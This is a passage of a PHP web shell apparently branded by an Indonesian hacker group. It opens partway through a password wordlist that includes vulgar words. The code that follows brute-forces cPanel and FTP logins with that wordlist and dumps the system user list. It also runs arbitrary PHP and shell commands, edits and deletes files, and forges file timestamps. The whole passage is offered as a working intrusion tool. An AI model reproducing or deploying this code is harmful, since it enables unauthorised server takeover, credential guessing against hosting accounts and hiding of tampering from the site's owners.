oscar
otis
otto
ou812
ou8122
out
owen
ozzy
p
paSSworD
packard
packers
pacman
paco
page
palace
palmer
pamela
panama
pancho
pandora
pantera
panther
panthers
panties
panzer
papa
paper
paradise
paris
park
parker
parrot
party
pascal
pass
passcode
passion
passwd
password
password1
patches
patricia
patrick
paul
paulie
peace
peaches
peanut
peanuts
pedro
peekaboo
peewee
pegasus
peggy
pencil
penguin
*****
pentium
people
pepe
pepper
pepsi
pete
peter
peters
phantom
phil
philip
philly
phoenix
phone
picard
pickle
pics
pierre
piggy
piglet
pilot
pimp
pinhead
pink
pioneer
pippo
pirate
pirates
pizza
planet
plastic
platinum
play
playboy
player
playtime
please
pleasure
plum
pluto
poiqwe
poiu
poiuy
poiuyt
poiuytre
polaris
police
polo
pontiac
pooh
poohbear
pookie
poop
poopie
pooter
popo
porn
porno
porsche
port
porter
postal
power
ppp
pppp
pppppp
prelude
presario
primus
prince
princess
printer
private
psycho
puck
pumpkin
puppy
purple
puss
pussies
*****
pussy1
pussycat
pussys
putter
pyramid
python
qazwsx
qqqq
qqqqq
qqqqqq
qqqqqqqq
quartz
queen
qwaszx
qwe123
qweasd
qwer
qwert
qwerty
qwertyui
qwertz
qwertzui
rabbit
race
racecar
racer
racerx
rachel
racing
radar
radio
raider
raiders
rain
rainbow
rambo
ramsey
randy
ranger
rangers
rascal
raven
raven1
raymond
read
ready
reaper
rebecca
rebel
rebels
red123
reddog
redhead
redman
redneck
redrum
redskins
redsox
redwing
redwings
reflex
reggie
regina
rene
rent
research
rhonda
rich
richard
richie
rick
rico
rider
right
riker
ring
ripper
river
robbie
robert
roberts
robin
rock
rocket
rocks
rocky
rocky1
rodman
rodney
roger
rogers
rogue
roland
roller
rolltide
roman
romeo
rommel
ronnie
rooster
root
rosa
roscoe
rose
rosebud
rover
roxanne
royal
rugby
rule
rules
rulez
rumble
runner
rush
rush2112
russell
russia
rusty
ruth
ryan
s
sa
saab
sabine
sabrina
sage
sailing
saints
sally
salmon
sam
samantha
samm
sammy
sammy1
sampson
samsam
samson
samuel
samurai
sand
sandie
sandman
sandra
sandy
santana
sara
sarah
saratoga
sasha
saturn
savage
school
scooby
scooter
score
scorpio
scorpion
scotland
scott
scottie
scotty
screw
scuba
scully
sean
seattle
second
secret
security
seeker
seminole
semperfi
senna
serenity
sergio
series
server
service
sesame
setup
seven
***
sexe
sexo
sexsex
sexual
sexx
sexy
shadow
shag
shaggy
shane
shannon
shark
sharky
sharon
shaved
shawn
shazam
sheba
shelby
shell
sherman
sherry
shirley
shit
shithead
shocker
shooter
short
shorty
shot
shotgun
show
showme
sidney
sierra
sigrid
silver
silvia
simon
simone
simple
simpson
single
sinner
sister
site
skeeter
skibum
skip
skipper
skippy
skydive
slayer
slick
slim
slut
sluts
smelly
smiley
smith
smitty
smoke
smokey
smokin
smooth
smut
snake
snakes
snapper
snatch
snickers
sniper
snoopy
snow
snowball
snowman
soccer
softail
softball
solo
some
sommer
son
sonic
sonics
sony
sooner
sophie
south
space
spank
spanking
spanky
sparky
spartan
speaker
spears
special
speed
speedo
speedy
spencer
spice
spider
spike
spirit
spitfire
spock
spooky
sport
sports
spot
spring
springer
spunky
spurs
sql
sqlserver
squirt
srinivas
ssss
ssssss
stacey
stallion
stan
stanley
star
stardust
stargate
stars
start
startrek
starwars
station
stealth
steeler
steelers
stefan
stella
steph
stephen
sterling
steve
steven
stewart
stick
sticks
sticky
stimpy
stinger
stingray
stinky
stocks
stones
stop
storm
stormy
strange
street
strike
stroke
strong
stud
student
stuff
stupid
sukses
suck
sucker
suckit
suckme
sucks
sugar
summer
sunny
sunset
sunshine
super
superman
superuser
surf
surfer
susan
suzuki
sven
sweet
sweetpea
sweets
swim
swimming
sword
swords
sydney
sylvia
sys
sysadm
sysadmin
system
taco
taka
tamara
tammy
tango
tank
tanker
tanner
tape
tara
tardis
target
tarheel
tasha
tattoo
taurus
taxman
taylor
tazman
tazz
teacher
tech
techno
teddy
teen
teens
temp
temple
tennis
tequila
teresa
terry
test
test123
test2
tester
testing
testtest
texas
thebest
theman
theodore
therock
thing
this
thomas
thor
thumper
thunder
thx1138
tiffany
tiger
tigers
tigger
tight
timber
time
times
timothy
tina
tinker
tintin
titanic
titman
tits
titties
tmp
toby
today
todd
toes
tomas
tomcat
tommy
tomtom
tongue
toni
tony
tool
toor
topgun
toshiba
toto
toyota
tracey
tracy
trader
train
trains
trans
transam
travel
travis
trebor
tree
trevor
trey
tribe
trick
tricky
trinity
triton
triumph
trixie
trojan
trooper
trouble
trout
troy
truck
trucker
trucks
trustno1
tst
tttt
tttttt
tucker
tuesday
turbo
turkey
turner
turtle
tweety
twins
twister
tyler
unicorn
united
unreal
user
usmc
vader
vagina
valerie
valley
vampire
vanessa
vegas
velvet
venus
vermont
vette
victor
victoria
victory
video
viking
vikings
vincent
violet
viper
viper1
vipers
virgin
visa
vision
volley
volvo
voodoo
voyager
voyeur
vulcan
waldo1
walker
wallace
wally
walnut
walrus
walter
wanker
warlock
warren
warrior
wars
watch
water
wave
waves
wayne
weasel
webster
weed
welcome
wendy
werner
wert
wesley
west
western
wetlands
wetpussy
what
whatever
whiskey
white
whynot
wicked
wilbur
wild
wildcat
wildcats
wildman
will
william
willie
willow
willy
wilma
wilson
window
windows
wine
wingman
wings
winner
winnie
winston
winter
wizard
wolf
wolfgang
wolfman
wolverin
wolves
woman
wombat
women
wonder
wood
woodie
woodwork
woody
woody1
woof
word
wordpass
work
world
wrangler
wright
write
writer
xanadu
xavier
xfiles
xray
xxx
xxxx
xxxxx
xxxxxx
xxxxxxxx
yamaha
yankee
yankees
yellow
york
you
young
yoyo
yuki
zach
zachary
zaphod
zappa
zeppelin
zipper
zippy
zombie
zone
zorro
zulu
zxcv
zxcvb
zxcvbn
zxcvbnm
zzzz
zzzzzz
passw0rds";
if($target == ''){
$target = 'localhost';
}
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
$i = 0;
while ($i < 60000) {

    $line = posix_getpwuid($i);
    if (!empty($line)) {

        while (list ($key, $vba_etcpwd) = each($line)){
            echo "".$vba_etcpwd."\n";
            break;
        }

    }

   $i++;
}
echo "
</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
<br>
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {

print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}

elseif ( curl_errno($ch) == 0 ){

p("<b>[ [email protected] ]# </b>
<b> Rampung Pak! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);}

function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){

p("<b>[ [email protected] ]# </b><b>Rampung Pak!!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}

if(isset($submit) && !empty($submit)){

$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
p('<b>[ [email protected] ]# Attacking ...</font></b><br>');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}

	formfoot();
}






elseif ($action == 'etcpwd') {
formhead(array('title'=>'Get /etc/passwd'));
	makehide('action','etcpwd');
	makehide('dir',$nowpath);
$i = 0;
 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {

    $line = posix_getpwuid($i);
    if (!empty($line)) {

        while (list ($key, $vba_etcpwd) = each($line)){
            echo "".$vba_etcpwd."\n";
            break;
        }

    }

   $i++;
}
  echo "</textarea></p>";
	formfoot();
}

elseif ($action == 'eval') {
	$phpcode = trim($phpcode);
	if($phpcode){
		if (!preg_match('#<\?#si', $phpcode)) {
			$phpcode = "<?php\n\n{$phpcode}\n\n?>";
		}
		eval("?".">$phpcode<?");
	}
	formhead(array('title'=>'Eval PHP Code'));
	makehide('action','eval');
	maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
	p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
	formfooter();
}//end eval

elseif ($action == 'editfile') {
	if(file_exists($opfile)) {
		$fp=@fopen($opfile,'r');
		$contents=@fread($fp, filesize($opfile));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array('title'=>'Gawe / Edit File'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
	maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
	formfooter();
}//end editfile

elseif ($action == 'newtime') {
	$opfilemtime = @filemtime($opfile);
	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
	$cachemonth = array('January'=>1,'February'=>2,'Maret'=>3,'April'=>4,'May'=>5,'June'=>6,'Juli'=>7,'Agustus'=>8,'September'=>9,'Oktober'=>10,'November'=>11,'December'=>12);
	formhead(array('title'=>'Clone file was last modified time'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
	makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
	formfooter();
	formhead(array('title'=>'Set last modified'));
	makehide('action','file');
	makehide('dir',$nowpath);
	makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
	p('<p>Instead &raquo;');
	p('year:');
	makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
	p('month:');
	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
	p('day:');
	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
	p('hour:');
	makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
	p('minute:');
	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
	p('second:');
	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
	p('</p>');
	formfooter();
}//end newtime

elseif ($action == 'shell') {
	if (IS_WIN && IS_COM) {
		if($program && $parameter) {
			$shell= new COM('Shell.Application');
			$a = $shell->ShellExecute($program,$parameter);
			m('Program run has '.(!$a ? 'sukses' : 'fail'));
		}
		!$program && $program = 'c:\windows\system32\cmd.exe';
		!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
		formhead(array('title'=>'Execute Program'));
		makehide('action','shell');
		makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
		p('<p>');
		makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
		p('</p>');
		formfoot();
	}
	formhead(array('title'=>'Execute Command'));
	makehide('action','shell');
	if (IS_WIN && IS_COM) {
		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
		makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
	}
	p('<p>');
	makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
	p('</p>');
	formfoot();

	if ($command) {
		p('<hr width="100%" noshade /><pre>');
		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
			$wsh = new COM('WScript.shell');
			$exec = $wsh->exec('cmd.exe /c '.$command);
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
			$descriptorspec = array(
			   0 => array('pipe', 'r'),
			   1 => array('pipe', 'w'),
			   2 => array('pipe', 'w')
			);
			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
			if (is_resource($process)) {
				fwrite($pipes[0], $command."\r\n");
				fwrite($pipes[0], "exit\r\n");
				fclose($pipes[0]);
				while (!feof($pipes[1])) {
					echo fgets($pipes[1], 1024);
				}
				fclose($pipes[1]);
				while (!feof($pipes[2])) {
					echo fgets($pipes[2], 1024);
				}
				fclose($pipes[2]);
				proc_close($process);
			}
		} else {
			echo(execute($command));
		}
		p('</pre>');
	}
}//end shell

elseif ($action == 'phpenv') {
	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
	!$dis_func && $dis_func = 'No';
	$info = array(
		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
		2 => array('Server Domain',$_SERVER['SERVER_NAME']),
		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
		4 => array('Server OS',PHP_OS),
		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
		8 => array('PHP run mode',strtoupper(php_sapi_name())),
		9 => array('The file path',__FILE__),

		10 => array('PHP Version',PHP_VERSION),
		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
		12 => array('Safe Mode',getcfg('safe_mode')),
		13 => array('Administrator',$adminmail),
		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
		15 => array('enable_dl',getcfg('enable_dl')),
		16 => array('display_errors',getcfg('display_errors')),
		17 => array('register_globals',getcfg('register_globals')),
		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
		19 => array('memory_limit',getcfg('memory_limit')),
		20 => array('post_max_size',getcfg('post_max_size')),
		21 => array('upload_max_filesize',$upsize),
		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
		23 => array('disable_functions',$dis_func),
	);

	if($phpvarname) {
		m($phpvarname .' : '.getcfg($phpvarname));
	}

	formhead(array('title'=>'Server environment'));
	makehide('action','phpenv');
	makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
	formfooter();

	$hp = array(0=> 'Server', 1=> 'PHP');
	for($a=0;$a<2;$a++) {
		p('<h2>'.$hp[$a].' &raquo;</h2>');
		p('<ul class="info">');
		if ($a==0) {
			for($i=1;$i<=9;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		} elseif ($a == 1) {
			for($i=10;$i<=23;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		}
		p('</ul>');
	}
}//end phpenv

else {
	m('Undefined Action');
}

?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
	Kimcil-Jahat <B></B> - ReCodeD by xSouL <a href=http://bkht.org target=_blank><B>xSouL   </B></a> - <B>- BIANG KEROX HACKER TEAM</B> All Rights Reserved.
</div>
</body>
</html>

<?php

/*======================================================
Show info shell
======================================================*/

function m($msg) {
	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
	echo $msg;
	echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $admin, $timestamp, $_SERVER;
	$key = ($prefix ? $admin['cookiepre'] : '').$key;
	$life = $life ? $life : $admin['cookielife'];
	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
	$multipage = '';
	if($num > $perpage) {
		$page = 10;
		$offset = 5;
		$pages = @ceil($num / $perpage);
		if($page > $pages) {
			$from = 1;
			$to = $pages;
		} else {
			$from = $curpage - $offset;
			$to = $curpage + $page - $offset - 1;
			if($from < 1) {
				$to = $curpage + 1 - $from;
				$from = 1;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$to = $page;
				}
			} elseif($to > $pages) {
				$from = $curpage - $pages + $to;
				$to = $pages;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$from = $pages - $page + 1;
				}
			}
		}
		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
		for($i = $from; $i <= $to; $i++) {
			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
		}
		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
		$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
	}
	return $multipage;
}
// Login page
function loginpage() {
?>
<html>
<head>

<body bgcolor=black background=1.jpg>

		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>BIANG KEROX HACKER TEAM</title>
<style type="text/css">
A:link {text-decoration: none; color: lime }
A:visited {text-decoration: none;color:red}
A:active {text-decoration: none}
A:hover {text-decoration: underline; color: lime;}
input, textarea, button
{
	font-size: 11pt;
	color: 	#FFFFFF;
	font-family: verdana, sans-serif;
	background-color: #000000;
	border-left: 2px dashed #8B0000;
	border-top: 2px dashed #8B0000;
	border-right: 2px dashed #8B0000;
	border-bottom: 2px dashed #8B0000;
}

</style>

       <BR><BR>
<div align=center >

<div>
<font color=gray>
<br /><br /><br /><br /><br />

<form method="POST" action="">
	<span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
	<input type="hidden" name="doing" value="login">
	<input type="submit" value="Login">
	</form>
<BR>
<?php
echo "".$err_mess."";
?>

	<B><font color=red>






</div>


	</fieldset>



</head>
</html>


<?php
	exit;

}//end loginpage()

function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = '';
			while(!@feof($f)) {
				$res .= @fread($f,1024);
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
}

function cf($fname,$text){
	if($fp=@fopen($fname,'w')) {
		@fputs($fp,base64_decode($text));
		@fclose($fp);
	}
}

// Debug
function debuginfo() {
	global $starttime;
	$mtime = explode(' ', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
	echo 'Proses  '.$totaltime.' second(s)';
}

// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
		p('<h2>Ra iso konek MySQL server cok !!</h2>');
		exit;
	}
	if($link && $dbname) {
		if (!@mysql_select_db($dbname, $link)) {
			p('<h2>Database sek tok pilih gaiso, eror!</h2>');
			exit;
		}
	}
	if($link && mysql_get_server_info() > '4.1') {
		if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
		}
	}
	return $link;
}

// Array strip
function s_array(&$array) {
	if (is_array($array)) {
		foreach ($array as $k => $v) {
			$array[$k] = s_array($v);
		}
	} else if (is_string($array)) {
		$array = stripslashes($array);
	}
	return $array;
}

// HTML Strip
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("\n", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}

// Chmod
function getChmod($filepath){
	return substr(base_convert(@fileperms($filepath),10,8),-4);
}

function getPerms($filepath) {
	$mode = @fileperms($filepath);
	if (($mode & 0xC000) === 0xC000) {$type = 's';}
	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
	elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
	else {$type = '?';}

	$owner['read'] = ($mode & 00400) ? 'r' : '-';
	$owner['write'] = ($mode & 00200) ? 'w' : '-';
	$owner['execute'] = ($mode & 00100) ? 'x' : '-';
	$group['read'] = ($mode & 00040) ? 'r' : '-';
	$group['write'] = ($mode & 00020) ? 'w' : '-';
	$group['execute'] = ($mode & 00010) ? 'x' : '-';
	$world['read'] = ($mode & 00004) ? 'r' : '-';
	$world['write'] = ($mode & 00002) ? 'w' : '-';
	$world['execute'] = ($mode & 00001) ? 'x' : '-';

	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}

	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}

function getUser($filepath)	{
	if (function_exists('posix_getpwuid')) {
		$array = @posix_getpwuid(@fileowner($filepath));
		if ($array && is_array($array)) {
			return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
		}
	}
	return '';
}

// Delete dir
function deltree($deldir) {
	$mydir=@dir($deldir);
	while($file=$mydir->read())	{
		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
			@chmod($deldir.'/'.$file,0777);
			deltree($deldir.'/'.$file);
		}
		if (is_file($deldir.'/'.$file)) {
			@chmod($deldir.'/'.$file,0777);
			@unlink($deldir.'/'.$file);
		}
	}
	$mydir->close();
	@chmod($deldir,0777);
	return @rmdir($deldir) ? 1 : 0;
}

// Background
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? 'alt1' : 'alt2';
}

// Get path
function getPath($scriptpath, $nowpath) {
	if ($nowpath == '.') {
		$nowpath = $scriptpath;
	}
	$nowpath = str_replace('\\', '/', $nowpath);
	$nowpath = str_replace('//', '/', $nowpath);
	if (substr($nowpath, -1) != '/') {
		$nowpath = $nowpath.'/';
	}
	return $nowpath;
}

// Get up path
function getUpPath($nowpath) {
	$pathdb = explode('/', $nowpath);
	$num = count($pathdb);
	if ($num > 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode('/', $pathdb).'/';
	$uppath = str_replace('//', '/', $uppath);
	return $uppath;
}

// Config
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return 'No';
	} elseif ($result == 1) {
		return 'Yes';
	} else {
		return $result;
	}
}

// Function name
function getfun($funName) {
	return (false !== function_exists($funName)) ? 'Yes' : 'No';
}

function GetList($dir){
	global $dirdata,$j,$nowpath;
	!$j && $j=1;
	if ($dh = opendir($dir)) {
		while ($file = readdir($dh)) {
			$f=str_replace('//','/',$dir.'/'.$file);
			if($file!='.' && $file!='..' && is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
					$dirdata[$j]['dirchmod']=getChmod($f);
					$dirdata[$j]['dirperm']=getPerms($f);
					$dirdata[$j]['dirlink']=ue($dir);
					$dirdata[$j]['server_link']=$f;
					$dirdata[$j]['client_link']=ue($f);
					$j++;
				}
				GetList($f);
			}
		}
		closedir($dh);
		clearstatcache();
		return $dirdata;
	} else {
		return array();
	}
}

function qy($sql) {
	//echo $sql.'<br>';
	$res = $error = '';
	if(!$res = @mysql_query($sql)) {
		return 0;
	} else if(is_resource($res)) {
		return 1;
	} else {
		return 2;
	}
	return 0;
}

function q($sql) {
	return @mysql_query($sql);
}

function fr($qy){
	mysql_free_result($qy);
}

function sizecount($size) {
	if($size > 1073741824) {
		$size = round($size / 1073741824 * 100) / 100 . ' G';
	} elseif($size > 1048576) {
		$size = round($size / 1048576 * 100) / 100 . ' M';
	} elseif($size > 1024) {
		$size = round($size / 1024 * 100) / 100 . ' K';
	} else {
		$size = $size . ' B';
	}
	return $size;
}

// Zip
class PHPZip{
	var $out='';
	function PHPZip($dir)	{
		if (@function_exists('gzcompress'))	{
			$curdir = getcwd();
			if (is_array($dir)) $filelist = $dir;
			else{
				$filelist=$this -> GetFileList($dir);//File list
				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
			}
			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
			else chdir($curdir);
			if (count($filelist)>0){
				foreach($filelist as $filename){
					if (is_file($filename)){
						$fd = fopen ($filename, 'r');
						$content = @fread ($fd, filesize($filename));
						fclose ($fd);
						if (is_array($dir)) $filename = basename($filename);
						$this -> addFile($content, $filename);
					}
				}
				$this->out = $this -> file();
				chdir($curdir);
			}
			return 1;
		}
		else return 0;
	}

	// Show file list
	function GetFileList($dir){
		static $a;
		if (is_dir($dir)) {
			if ($dh = opendir($dir)) {
				while ($file = readdir($dh)) {
					if($file!='.' && $file!='..'){
						$f=$dir .'/'. $file;
						if(is_dir($f)) $this->GetFileList($f);
						$a[]=$f;
					}
				}
				closedir($dh);
			}
		}
		return $a;
	}

	var $datasec      = array();
	var $ctrl_dir     = array();
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset   = 0;

	function unix2DosTime($unixtime = 0) {
		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
		if ($timearray['year'] < 1980) {
			$timearray['year']    = 1980;
			$timearray['mon']     = 1;
			$timearray['mday']    = 1;
			$timearray['hours']   = 0;
			$timearray['minutes'] = 0;
			$timearray['seconds'] = 0;
		} // end if
		return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
				($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
	}

	function addFile($data, $name, $time = 0) {
		$name = str_replace('\\', '/', $name);

		$dtime = dechex($this->unix2DosTime($time));
		$hexdtime	= '\x' . $dtime[6] . $dtime[7]
					. '\x' . $dtime[4] . $dtime[5]
					. '\x' . $dtime[2] . $dtime[3]
					. '\x' . $dtime[0] . $dtime[1];
		eval('$hexdtime = "' . $hexdtime . '";');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
